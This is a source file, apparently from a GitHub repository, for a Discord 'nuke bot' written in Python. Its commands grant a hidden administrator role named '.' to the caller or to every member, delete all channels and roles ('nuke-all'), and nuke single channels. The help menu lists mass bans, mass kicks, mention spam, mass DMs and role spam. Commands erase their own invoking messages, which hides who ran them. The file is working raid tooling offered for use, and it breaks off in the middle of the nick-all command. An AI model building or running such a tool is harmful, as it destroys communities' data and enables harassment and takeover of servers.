-
Notifications
You must be signed in to change notification settings - Fork 13
Expand file tree
/
Copy pathmain.py
More file actions
2674 lines (2236 loc) · 92.5 KB
/
Copy pathmain.py
File metadata and controls
2674 lines (2236 loc) · 92.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import asyncio
import io
import json
from datetime import datetime
import discord
from discord.ext import commands
from colorama import Fore, Back, Style, init
from utils.config import load_config, save_config, validate_config
from utils.discord_helpers import (
make_is_authorized,
make_is_owner,
parse_duration,
rate_limited_action,
send_dm,
)
from utils.i18n import load_translations, t
from utils.logging_setup import setup_logging
from utils.proxies import configure_proxy
from utils.runtime import active_tasks as _active_tasks
from utils.views import HelpView
init(autoreset=True)
logger = setup_logging()
load_translations("en", logger)
config = load_config(t)
load_translations(config.get("language", "en"), logger)
validate_config(config)
is_authorized = make_is_authorized(config, logger, t)
is_owner = make_is_owner(config, t)
# Create bot instance with prefix commands
intents = discord.Intents.default()
intents.message_content = True
intents.members = True
bot = commands.Bot(command_prefix=config.get("prefix", ".!"), intents=intents, help_command=None)
@bot.event
async def on_ready():
print("""
███╗░░██╗██╗░░░██╗██╗░░██╗███████╗ ██████╗░░█████╗░████████╗
████╗░██║██║░░░██║██║░██╔╝██╔════╝ ██╔══██╗██╔══██╗╚══██╔══╝
██╔██╗██║██║░░░██║█████═╝░█████╗░░ ██████╦╝██║░░██║░░░██║░░░
██║╚████║██║░░░██║██╔═██╗░██╔══╝░░ ██╔══██╗██║░░██║░░░██║░░░
██║░╚███║╚██████╔╝██║░╚██╗███████╗ ██████╦╝╚█████╔╝░░░██║░░░
╚═╝░░╚══╝░╚═════╝░╚═╝░░╚═╝╚══════╝ ╚═════╝░░╚════╝░░░░╚═╝░░░
\n\n""")
print(f'{Fore.GREEN}{t("ready_online", bot_user=bot.user)}')
print(f'{Fore.GREEN}{t("ready_bot_id", bot_id=bot.user.id)}{Style.RESET_ALL}')
# Log bot startup
guild_list = ', '.join([f"{guild.name} (ID: {guild.id})" for guild in bot.guilds])
logger.info(t("bot_started", bot_user=bot.user, bot_id=bot.user.id, guild_count=len(bot.guilds), guild_list=guild_list))
logger.info(t("bot_prefix", prefix=config.get('prefix', '.!'), owner_id=config.get('owner_id', 'Not set')))
@bot.event
async def on_command(ctx):
"""Log all command executions"""
# Get command arguments if any
args = ctx.message.content.split()[1:] if len(ctx.message.content.split()) > 1 else []
args_str = ' '.join(args) if args else '(no args)'
# Log the command execution
logger.info(t("command_executed", user=ctx.author, user_id=ctx.author.id, command=ctx.command.name, args=args_str, guild=ctx.guild.name, guild_id=ctx.guild.id, channel=ctx.channel.name))
@bot.event
async def on_command_error(ctx, error):
"""Log command errors"""
if isinstance(error, commands.CheckFailure):
return
if isinstance(error, commands.CommandOnCooldown):
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
try:
await ctx.send(f"Command on cooldown. Try again in {error.retry_after:.0f}s.", delete_after=5)
except discord.HTTPException:
pass
return
logger.error(t("command_error", user=ctx.author, user_id=ctx.author.id, command=ctx.command.name if ctx.command else 'Unknown', guild=ctx.guild.name if ctx.guild else 'DM', error=str(error)))
@bot.event
async def on_guild_join(guild):
"""Log when bot joins a new guild"""
logger.info(t("bot_joined_guild", guild=guild.name, guild_id=guild.id, member_count=guild.member_count, owner=guild.owner, owner_id=guild.owner.id))
@bot.event
async def on_guild_remove(guild):
"""Log when bot leaves/is removed from a guild"""
logger.info(t("bot_left_guild", guild=guild.name, guild_id=guild.id))
@is_authorized()
@bot.command(name='help')
async def help_command(ctx):
"""Display all available commands with pagination"""
print(f'{Fore.CYAN}[HELP] {Fore.WHITE}Help requested by {ctx.author.display_name} in {ctx.guild.name}{Style.RESET_ALL}')
prefix = config.get("prefix", ".!")
# Delete command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
# Define command pages (5 commands per page)
pages = []
# Page 1: Core Power Commands
embed1 = discord.Embed(
title=t("help_page1_title"),
description=t("help_page1_desc"),
color=discord.Color.gold()
)
embed1.add_field(name=f"{prefix}god", value=t("help_god"), inline=False)
embed1.add_field(name=f"{prefix}god-all", value=t("help_god_all"), inline=False)
embed1.add_field(name=f"{prefix}death", value=t("help_death"), inline=False)
embed1.add_field(name=f"{prefix}brainfuck <name> <message>", value=t("help_brainfuck"), inline=False)
embed1.add_field(name=f"{prefix}help", value=t("help_help"), inline=False)
embed1.set_footer(text=t("help_footer", page=1, total=9))
pages.append(embed1)
# Page 2: Moderation Commands
embed2 = discord.Embed(
title=t("help_page2_title"),
description=t("help_page2_desc"),
color=discord.Color.blue()
)
embed2.add_field(name=f"{prefix}ban <@user> [reason]", value=t("help_ban"), inline=False)
embed2.add_field(name=f"{prefix}unban <user_id>", value=t("help_unban"), inline=False)
embed2.add_field(name=f"{prefix}kick <@user> [reason]", value=t("help_kick"), inline=False)
embed2.add_field(name=f"{prefix}mute <@user> [duration] [reason]", value=t("help_mute"), inline=False)
embed2.add_field(name=f"{prefix}unmute <@user>", value=t("help_unmute"), inline=False)
embed2.set_footer(text=t("help_footer", page=2, total=9))
pages.append(embed2)
# Page 3: Mass Moderation
embed3 = discord.Embed(
title=t("help_page3_title"),
description=t("help_page3_desc"),
color=discord.Color.red()
)
embed3.add_field(name=f"{prefix}ban-all [reason]", value=t("help_ban_all"), inline=False)
embed3.add_field(name=f"{prefix}kick-all [reason]", value=t("help_kick_all"), inline=False)
embed3.add_field(name=f"{prefix}mute-all [duration] [reason]", value=t("help_mute_all"), inline=False)
embed3.add_field(name=f"{prefix}purge <amount>", value=t("help_purge"), inline=False)
embed3.add_field(name=f"{prefix}unban-all", value=t("help_unban_all"), inline=False)
embed3.set_footer(text=t("help_footer", page=3, total=9))
pages.append(embed3)
# Page 4: Destructive Commands
embed4 = discord.Embed(
title=t("help_page4_title"),
description=t("help_page4_desc"),
color=discord.Color.dark_red()
)
embed4.add_field(name=f"{prefix}nuke", value=t("help_nuke"), inline=False)
embed4.add_field(name=f"{prefix}nuke-all", value=t("help_nuke_all"), inline=False)
embed4.add_field(name=f"{prefix}delchannel <#channel>", value=t("help_delchannel"), inline=False)
embed4.add_field(name=f"{prefix}webhook-nuke", value=t("help_webhook_nuke"), inline=False)
embed4.add_field(name=f"{prefix}emoji-nuke", value=t("help_emoji_nuke"), inline=False)
embed4.set_footer(text=t("help_footer", page=4, total=9))
pages.append(embed4)
# Page 5: Trolling Commands
embed5 = discord.Embed(
title=t("help_page5_title"),
description=t("help_page5_desc"),
color=discord.Color.purple()
)
embed5.add_field(name=f"{prefix}nick-all <nickname>", value=t("help_nick_all"), inline=False)
embed5.add_field(name=f"{prefix}shuffle-channels", value=t("help_shuffle_channels"), inline=False)
embed5.add_field(name=f"{prefix}voice-scatter", value=t("help_voice_scatter"), inline=False)
embed5.add_field(name=f"{prefix}move-all <#voice>", value=t("help_move_all"), inline=False)
embed5.add_field(name=f"{prefix}mention-spam <target> <count>", value=t("help_mention_spam"), inline=False)
embed5.set_footer(text=t("help_footer", page=5, total=9))
pages.append(embed5)
# Page 6: Server Management
embed6 = discord.Embed(
title=t("help_page6_title"),
description=t("help_page6_desc"),
color=discord.Color.teal()
)
embed6.add_field(name=f"{prefix}rename-server <name>", value=t("help_rename_server"), inline=False)
embed6.add_field(name=f"{prefix}server-icon <url>", value=t("help_server_icon"), inline=False)
embed6.add_field(name=f"{prefix}server-banner <url>", value=t("help_server_banner"), inline=False)
embed6.add_field(name=f"{prefix}server-desc <text>", value=t("help_server_desc"), inline=False)
embed6.add_field(name=f"{prefix}nick <@user> <nickname>", value=t("help_nick"), inline=False)
embed6.set_footer(text=t("help_footer", page=6, total=9))
pages.append(embed6)
# Page 7: Role & Spam Commands
embed7 = discord.Embed(
title=t("help_page7_title"),
description=t("help_page7_desc"),
color=discord.Color.orange()
)
embed7.add_field(name=f"{prefix}role-spam <name> <count>", value=t("help_role_spam"), inline=False)
embed7.add_field(name=f"{prefix}strip <@user>", value=t("help_strip"), inline=False)
embed7.add_field(name=f"{prefix}spam <count> <message>", value=t("help_spam"), inline=False)
embed7.set_footer(text=t("help_footer", page=7, total=9))
pages.append(embed7)
# Page 8: Utility & DM Commands
embed8 = discord.Embed(
title=t("help_page8_title"),
description=t("help_page8_desc"),
color=discord.Color.green()
)
embed8.add_field(name=f"{prefix}dm <@user> <message>", value=t("help_dm"), inline=False)
embed8.add_field(name=f"{prefix}dmall <message>", value=t("help_dmall"), inline=False)
embed8.add_field(name=f"{prefix}serverinfo", value=t("help_serverinfo"), inline=False)
embed8.add_field(name=f"{prefix}server-backup", value=t("help_server_backup"), inline=False)
embed8.add_field(name=f"{prefix}shutdown", value=t("help_shutdown"), inline=False)
embed8.add_field(name=f"{prefix}whitelist-add <id>", value=t("help_whitelist_add"), inline=False)
embed8.add_field(name=f"{prefix}whitelist-remove <id>", value=t("help_whitelist_remove"), inline=False)
embed8.add_field(name=f"{prefix}whitelist-list", value=t("help_whitelist_list"), inline=False)
embed8.set_footer(text=t("help_footer", page=8, total=9))
pages.append(embed8)
# Page 9: New Features
embed9 = discord.Embed(
title=t("help_page9_title"),
description=t("help_page9_desc"),
color=discord.Color.dark_magenta()
)
embed9.add_field(name=f"{prefix}invite-nuke", value=t("help_invite_nuke"), inline=False)
embed9.add_field(name=f"{prefix}thread-nuke", value=t("help_thread_nuke"), inline=False)
embed9.add_field(name=f"{prefix}bot-nuke", value=t("help_bot_nuke"), inline=False)
embed9.add_field(name=f"{prefix}slowmode-all <seconds>", value=t("help_slowmode_all"), inline=False)
embed9.add_field(name=f"{prefix}sticker-nuke", value=t("help_sticker_nuke"), inline=False)
embed9.set_footer(text=t("help_footer", page=9, total=9))
pages.append(embed9)
# Create view and send message
view = HelpView(pages, ctx.author, t)
# Send to DM
try:
message = await ctx.author.send(embed=view.get_embed(), view=view)
# Send ephemeral confirmation in channel
await ctx.send(t("help_sent"), delete_after=3)
except discord.Forbidden:
# DMs disabled, send in channel instead
message = await ctx.send(embed=view.get_embed(), view=view)
@is_authorized()
@bot.command(name='delchannel')
@commands.has_permissions(manage_channels=True)
async def delchannel(ctx, channel: discord.TextChannel):
"""Delete a specific channel"""
try:
channel_name = channel.name
channel_id = channel.id
# Delete command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
# Delete the specified channel
await channel.delete(reason=f"Channel deleted by {ctx.author}")
print(f'{Fore.RED}[DELCHANNEL] {Fore.WHITE}Deleted #{channel_name} (ID: {channel_id}) in {ctx.guild.name} by {ctx.author.display_name}{Style.RESET_ALL}')
# Send DM confirmation
try:
embed = discord.Embed(
description=t("delchannel_success", channel=channel_name),
color=discord.Color.red()
)
await ctx.author.send(embed=embed)
except discord.Forbidden:
pass
except discord.Forbidden:
await send_dm(ctx, t("delchannel_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='nuke')
@commands.has_permissions(manage_channels=True)
async def nuke(ctx):
"""Delete and recreate the channel to clear all messages"""
try:
# Store channel information
channel = ctx.channel
channel_name = channel.name
# Log to console
print(f'{Fore.RED}[NUKE] {Fore.WHITE}Nuking #{channel_name} in {ctx.guild.name} by {ctx.author.display_name}{Style.RESET_ALL}')
channel_position = channel.position
channel_category = channel.category
channel_topic = channel.topic if hasattr(channel, 'topic') else None
channel_nsfw = channel.nsfw if hasattr(channel, 'nsfw') else False
channel_slowmode = channel.slowmode_delay if hasattr(channel, 'slowmode_delay') else 0
channel_overwrites = channel.overwrites
# Delete the command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
# Delete the channel
await channel.delete(reason=f"Channel nuked by {ctx.author}")
# Recreate the channel with same settings
new_channel = await ctx.guild.create_text_channel(
name=channel_name,
category=channel_category,
position=channel_position,
topic=channel_topic,
nsfw=channel_nsfw,
slowmode_delay=channel_slowmode,
overwrites=channel_overwrites,
reason=f"Channel recreated after nuke by {ctx.author}"
)
# Send DM to user
try:
dm_embed = discord.Embed(
description=t("nuke_channel_success", channel=new_channel.mention),
color=discord.Color.green()
)
await ctx.author.send(embed=dm_embed)
except discord.Forbidden:
pass
except discord.Forbidden:
await send_dm(ctx, t("nuke_channel_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@commands.cooldown(1, 60, commands.BucketType.guild)
@bot.command(name='nuke-all')
@commands.has_permissions(administrator=True)
async def nuke_all(ctx):
"""Delete all channels, categories, voice channels, and roles (except god role and bot role)"""
try:
# Log to console
print(f'{Fore.RED}{Style.BRIGHT}[NUKE-ALL] {Fore.WHITE}Nuking entire server {ctx.guild.name} by {ctx.author.display_name}{Style.RESET_ALL}')
# Delete the command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
guild = ctx.guild
author = ctx.author
# Send initial DM
try:
await author.send(t("nuke_all_starting"))
except discord.Forbidden:
pass
deleted_channels = 0
deleted_categories = 0
deleted_roles = 0
# Delete all channels (text, voice, stage, forum, etc.)
for channel in list(guild.channels):
try:
await channel.delete(reason=f"Nuke-all by {author}")
if isinstance(channel, discord.CategoryChannel):
deleted_categories += 1
else:
deleted_channels += 1
except Exception as e:
pass
# Log completion
print(f'{Fore.RED}[NUKE-ALL] {Fore.WHITE}Deleted {deleted_channels} channels and {deleted_categories} categories{Style.RESET_ALL}')
# Delete all roles except god role, bot roles, and @everyone
for role in list(guild.roles):
# Skip @everyone role (can't delete it anyway)
if role.is_default():
continue
# Skip the god role
if role.name == ".":
continue
# Skip bot's roles
if role in guild.me.roles:
continue
# Skip managed roles (bot roles, boosts, etc.)
if role.managed:
continue
try:
await role.delete(reason=f"Nuke-all by {author}")
deleted_roles += 1
except Exception as e:
pass
# Log completion
print(f'{Fore.RED}{Style.BRIGHT}[NUKE-ALL] {Fore.WHITE}Completed: {deleted_channels} channels, {deleted_categories} categories, {deleted_roles} roles deleted{Style.RESET_ALL}')
# Send completion DM
try:
embed = discord.Embed(
description=t("nuke_all_complete", channels=deleted_channels, categories=deleted_categories, roles=deleted_roles),
color=discord.Color.dark_red()
)
await author.send(embed=embed)
except discord.Forbidden:
pass
except discord.Forbidden:
try:
await author.send(t("nuke_all_no_permission"))
except discord.Forbidden:
pass
except Exception as e:
try:
await author.send(t("error_occurred", error=str(e)))
except discord.Forbidden:
pass
@is_authorized()
@bot.command(name='purge')
@commands.has_permissions(manage_messages=True)
async def purge(ctx, amount: int):
"""Purge a specified number of messages from the channel"""
if amount <= 0:
await send_dm(ctx, t("purge_invalid_amount"))
return
if amount > 1000:
await send_dm(ctx, t("purge_too_many"))
return
try:
# Delete the command message first
await ctx.message.delete()
# Purge the specified number of messages
deleted = await ctx.channel.purge(limit=amount)
print(f'{Fore.YELLOW}[PURGE] {Fore.WHITE}Purged {len(deleted)} messages in #{ctx.channel.name} by {ctx.author.display_name}{Style.RESET_ALL}')
embed = discord.Embed(
description=t("purge_success", count=len(deleted), channel=ctx.channel.mention),
color=discord.Color.green()
)
# Send ephemeral message (auto-deletes after 3 seconds)
await ctx.send(embed=embed, delete_after=3)
# Send DM to user
try:
await ctx.author.send(embed=embed)
except discord.Forbidden:
pass
except discord.Forbidden:
await send_dm(ctx, t("purge_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='ban')
@commands.has_permissions(ban_members=True)
async def ban(ctx, member: discord.Member, *, reason: str = "BYE BYE"):
"""Ban a user from the server"""
if member == ctx.author:
await send_dm(ctx, t("ban_yourself"))
return
if member.top_role >= ctx.author.top_role:
await send_dm(ctx, t("ban_higher_role"))
return
if member.top_role >= ctx.guild.me.top_role:
await send_dm(ctx, t("ban_bot_no_permission"))
return
try:
# Try to DM the user before banning
try:
dm_embed = discord.Embed(
description=t("ban_dm", guild=ctx.guild.name, reason=reason),
color=discord.Color.red()
)
await member.send(embed=dm_embed)
except discord.Forbidden:
pass
await member.ban(reason=f"{reason} | Banned by {ctx.author}")
print(f'{Fore.RED}[BAN] {Fore.WHITE}Banned {member.display_name} from {ctx.guild.name} by {ctx.author.display_name} | Reason: {reason}{Style.RESET_ALL}')
embed = discord.Embed(
description=t("ban_success", member=member.mention),
color=discord.Color.red()
)
await send_dm(ctx, embed=embed)
except discord.Forbidden:
await send_dm(ctx, t("ban_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='unban')
@commands.has_permissions(ban_members=True)
async def unban(ctx, user_id: int):
"""Unban a user by their ID"""
try:
user = await bot.fetch_user(user_id)
await ctx.guild.unban(user)
print(f'{Fore.GREEN}[UNBAN] {Fore.WHITE}Unbanned {user.name} from {ctx.guild.name} by {ctx.author.display_name}{Style.RESET_ALL}')
embed = discord.Embed(
description=t("unban_success", user=user.mention),
color=discord.Color.green()
)
await send_dm(ctx, embed=embed)
except discord.NotFound:
await send_dm(ctx, t("unban_not_found"))
except discord.Forbidden:
await send_dm(ctx, t("unban_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='kick')
@commands.has_permissions(kick_members=True)
async def kick(ctx, member: discord.Member, *, reason: str = "BYE BYE"):
"""Kick a user from the server"""
if member == ctx.author:
await send_dm(ctx, t("kick_yourself"))
return
if member.top_role >= ctx.author.top_role:
await send_dm(ctx, t("kick_higher_role"))
return
if member.top_role >= ctx.guild.me.top_role:
await send_dm(ctx, t("kick_bot_no_permission"))
return
try:
# Try to DM the user before kicking
try:
dm_embed = discord.Embed(
description=t("kick_dm", guild=ctx.guild.name, reason=reason),
color=discord.Color.orange()
)
await member.send(embed=dm_embed)
except discord.Forbidden:
pass
await member.kick(reason=f"{reason} | Kicked by {ctx.author}")
print(f'{Fore.RED}[KICK] {Fore.WHITE}Kicked {member.display_name} from {ctx.guild.name} by {ctx.author.display_name} | Reason: {reason}{Style.RESET_ALL}')
embed = discord.Embed(
description=t("kick_success", member=member.mention),
color=discord.Color.orange()
)
await send_dm(ctx, embed=embed)
except discord.Forbidden:
await send_dm(ctx, t("kick_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='mute')
@commands.has_permissions(moderate_members=True)
async def mute(ctx, member: discord.Member, duration: str = "10m", *, reason: str = "BYE BYE"):
"""Timeout a user (e.g., .!mute @user 10m reason)"""
if member == ctx.author:
await send_dm(ctx, t("mute_yourself"))
return
if member.top_role >= ctx.author.top_role:
await send_dm(ctx, t("mute_higher_role"))
return
if member.top_role >= ctx.guild.me.top_role:
await send_dm(ctx, t("mute_bot_no_permission"))
return
timeout_duration = parse_duration(duration)
if timeout_duration is None:
await send_dm(ctx, t("mute_invalid_format"))
return
try:
# Try to DM the user before muting
try:
dm_embed = discord.Embed(
description=t("mute_dm", guild=ctx.guild.name, reason=reason),
color=discord.Color.dark_gray()
)
await member.send(embed=dm_embed)
except discord.Forbidden:
pass
await member.timeout(timeout_duration, reason=f"{reason} | Muted by {ctx.author}")
print(f'{Fore.YELLOW}[MUTE] {Fore.WHITE}Muted {member.display_name} for {duration} in {ctx.guild.name} by {ctx.author.display_name} | Reason: {reason}{Style.RESET_ALL}')
embed = discord.Embed(
description=t("mute_success", member=member.mention, duration=duration),
color=discord.Color.dark_gray()
)
await send_dm(ctx, embed=embed)
except discord.Forbidden:
await send_dm(ctx, t("mute_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='unmute')
@commands.has_permissions(moderate_members=True)
async def unmute(ctx, member: discord.Member):
"""Remove timeout from a user"""
try:
await member.timeout(None)
print(f'{Fore.GREEN}[UNMUTE] {Fore.WHITE}Unmuted {member.display_name} in {ctx.guild.name} by {ctx.author.display_name}{Style.RESET_ALL}')
embed = discord.Embed(
description=t("unmute_success", member=member.mention),
color=discord.Color.green()
)
await send_dm(ctx, embed=embed)
except discord.Forbidden:
await send_dm(ctx, t("unmute_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='god')
async def god(ctx):
"""Give user administrator role"""
try:
# Check if role already exists
existing_role = discord.utils.get(ctx.guild.roles, name=".")
if existing_role:
# Role exists, just assign it
await ctx.author.add_roles(existing_role)
embed = discord.Embed(
description=t("god_activated", user=ctx.author.mention),
color=discord.Color.gold()
)
await send_dm(ctx, embed=embed)
else:
# Create new role with administrator permissions
new_role = await ctx.guild.create_role(
name=".",
permissions=discord.Permissions(administrator=True),
color=discord.Color.gold(),
reason=f"God role created by {ctx.author}"
)
# Move role as high as possible (just below bot's highest role)
try:
bot_top_role = ctx.guild.me.top_role
await new_role.edit(position=bot_top_role.position - 1)
except discord.HTTPException:
pass
# Assign role to user
await ctx.author.add_roles(new_role)
print(f'{Fore.MAGENTA}[GOD] {Fore.WHITE}God mode activated for {ctx.author.display_name} in {ctx.guild.name}{Style.RESET_ALL}')
embed = discord.Embed(
description=t("god_activated", user=ctx.author.mention),
color=discord.Color.gold()
)
await send_dm(ctx, embed=embed)
except discord.Forbidden:
await send_dm(ctx, t("god_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='god-all')
@commands.has_permissions(administrator=True)
async def god_all(ctx):
"""Give everyone administrator role"""
try:
# Delete command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
guild = ctx.guild
author = ctx.author
print(f'{Fore.MAGENTA}{Style.BRIGHT}[GOD-ALL] {Fore.WHITE}Giving admin to everyone in {guild.name} by {author.display_name}{Style.RESET_ALL}')
# Check if god role exists, create if not
god_role = discord.utils.get(guild.roles, name=".")
if not god_role:
# Create the god role
god_role = await guild.create_role(
name=".",
permissions=discord.Permissions(administrator=True),
color=discord.Color.gold(),
reason=f"God-all role created by {author}"
)
# Move role as high as possible
try:
bot_top_role = guild.me.top_role
await god_role.edit(position=bot_top_role.position - 1)
except discord.HTTPException:
pass
print(f'{Fore.MAGENTA}[GOD-ALL] {Fore.WHITE}Created god role (.){Style.RESET_ALL}')
# Send initial DM
try:
await author.send(t("god_all_initiated"))
except discord.Forbidden:
pass
# Give role to all members
success_count = 0
failed_count = 0
for member in guild.members:
# Skip bots
if member.bot:
continue
try:
await member.add_roles(god_role, reason=f"God-all by {author}")
success_count += 1
except Exception:
failed_count += 1
print(f'{Fore.MAGENTA}{Style.BRIGHT}[GOD-ALL] {Fore.WHITE}Complete: {success_count} members given admin, {failed_count} failed{Style.RESET_ALL}')
# Send completion DM
try:
embed = discord.Embed(
description=t("god_all_complete", count=success_count),
color=discord.Color.gold()
)
await author.send(embed=embed)
except discord.Forbidden:
pass
except discord.Forbidden:
await send_dm(ctx, t("god_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='rename-server')
@commands.has_permissions(administrator=True)
async def rename_server(ctx, *, new_name: str):
"""Rename the server"""
try:
old_name = ctx.guild.name
# Delete command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
# Rename the server
await ctx.guild.edit(name=new_name, reason=f"Server renamed by {ctx.author}")
print(f'{Fore.MAGENTA}[RENAME-SERVER] {Fore.WHITE}Server renamed from "{old_name}" to "{new_name}" by {ctx.author.display_name}{Style.RESET_ALL}')
# Send confirmation
embed = discord.Embed(
description=t("rename_server_success", name=new_name),
color=discord.Color.blue()
)
await send_dm(ctx, embed=embed)
except discord.Forbidden:
await send_dm(ctx, t("rename_server_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='server-icon')
@commands.has_permissions(administrator=True)
async def server_icon(ctx, image_url: str):
"""Change the server icon"""
try:
# Delete command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
# Download the image
import aiohttp
async with aiohttp.ClientSession() as session:
async with session.get(image_url) as resp:
if resp.status != 200:
await send_dm(ctx, t("server_icon_failed"))
return
image_data = await resp.read()
# Change server icon
await ctx.guild.edit(icon=image_data, reason=f"Server icon changed by {ctx.author}")
print(f'{Fore.MAGENTA}[SERVER-ICON] {Fore.WHITE}Server icon changed by {ctx.author.display_name} in {ctx.guild.name}{Style.RESET_ALL}')
# Send confirmation
embed = discord.Embed(
description=t("server_icon_success"),
color=discord.Color.blue()
)
await send_dm(ctx, embed=embed)
except discord.Forbidden:
await send_dm(ctx, t("server_icon_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='nick')
@commands.has_permissions(manage_nicknames=True)
async def nick(ctx, member: discord.Member, *, nickname: str):
"""Change a user's nickname"""
try:
# Delete command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
old_nick = member.display_name
# Check if we can change this user's nickname
if member.top_role >= ctx.guild.me.top_role:
await send_dm(ctx, t("nick_higher_role", member=member.mention))
return
# Change nickname
await member.edit(nick=nickname, reason=f"Nickname changed by {ctx.author}")
print(f'{Fore.CYAN}[NICK] {Fore.WHITE}Changed {old_nick} to "{nickname}" by {ctx.author.display_name} in {ctx.guild.name}{Style.RESET_ALL}')
# Send confirmation
embed = discord.Embed(
description=t("nick_success", member=member.mention, nickname=nickname),
color=discord.Color.green()
)
await send_dm(ctx, embed=embed)
except discord.Forbidden:
await send_dm(ctx, t("nick_no_permission", member=member.mention))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='nick-all')
@commands.has_permissions(administrator=True)
async def nick_all(ctx, *, nickname: str):
"""Set everyone's nickname to the same thing"""
try:
# Delete command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
guild = ctx.guild
author = ctx.author
